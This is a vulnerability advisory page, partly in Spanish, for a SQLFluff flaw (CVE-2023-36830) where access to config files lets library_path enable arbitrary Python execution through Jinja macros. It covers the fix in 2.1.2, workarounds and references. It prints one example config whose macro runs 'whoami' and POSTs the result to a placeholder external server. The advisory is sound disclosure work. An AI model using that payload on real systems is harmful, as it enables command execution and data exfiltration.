SQLFluff users with access to config file, using `libary_path` may call arbitrary python code
Impact
In environments where untrusted users have access to the config files (e.g. .sqlfluff), there is a potential security vulnerability where those users could use the library_path config value to allow arbitrary python code to be executed via macros. Jinja macros are executed within a sandboxed environment but the following example shows how an external url might be called and used to reveal internal information to an external listener:
[sqlfluff:templater:jinja]
library_path = /usr/lib/python3.9/http
[sqlfluff:templater:jinja:macros]
a_macro_def = {{client.HTTPSConnection('<SOME_EXTERNAL_SERVER_YOU_CONTROL>').request('POST', '/', server.os.popen('whoami').read())}}
For many users who use SQLFluff in the context of an environment where all users already have fairly escalated privileges, this may not be an issue - however in larger user bases, or where SQLFluff is bundled into another tool where developers still wish to give users access to supply their on rule configuration, this may be an issue.
Patches
The 2.1.2 release offers the ability for the library_path argument to be overwritten on the command line by using the --library-path option. This overrides any values provided in the config files and effectively prevents this route of attack for users which have access to the config file, but not to the scripts which call the SQLFluff CLI directly. A similar option is provided for the Python API, where users also have a greater ability to further customise or override configuration as necessary.
Unless library_path is explicitly required, we recommend using the option --library-path none when invoking SQLFluff which will disable the library-path option entirely regardless of the options set in the configuration file or via inline config directives.
Workarounds
Limiting access to - or otherwise validating configuration files before they are ingested by SQLFluff will provide a similar effect and does not require upgrade.
Credit
Dan Amodio from the Tinder Red Team
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | sqlfluff | < 2.1.2 | 2.1.2 |
Referencias
- https://github.com/sqlfluff/sqlfluff/security/advisories/GHSA-jqhc-m2j3-fjrx
- https://github.com/sqlfluff/sqlfluff/releases/tag/2.1.2
- https://nvd.nist.gov/vuln/detail/CVE-2023-36830
- https://github.com/sqlfluff/sqlfluff/commit/6cdc38d76bedab4801b035c04d3c2b3aea17de86
- https://github.com/pypa/advisory-database/tree/main/vulns/sqlfluff/PYSEC-2023-111.yaml
- https://github.com/sqlfluff/sqlfluff
- Vector CVSS
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L- Debilidad (CWE)
CWE-74- Plataforma
- Python (PyPI)
- Paquete
sqlfluff- Publicada
- 06.07.2023
- Actualizado
- 11.10.2026 11:20
Fuentes y licencias
OSV / GitHub Advisory Database - PYSEC-2023-111 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-jqhc-m2j3-fjrx - CC BY 4.0
Historial de vulnerabilidades: sqlfluff
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 3
- Primera → última
- 07.2023 05.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Alta 2
- Media 1
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- 2023: 1
- 2024: 0
- 2025: 0
- 2026: 2
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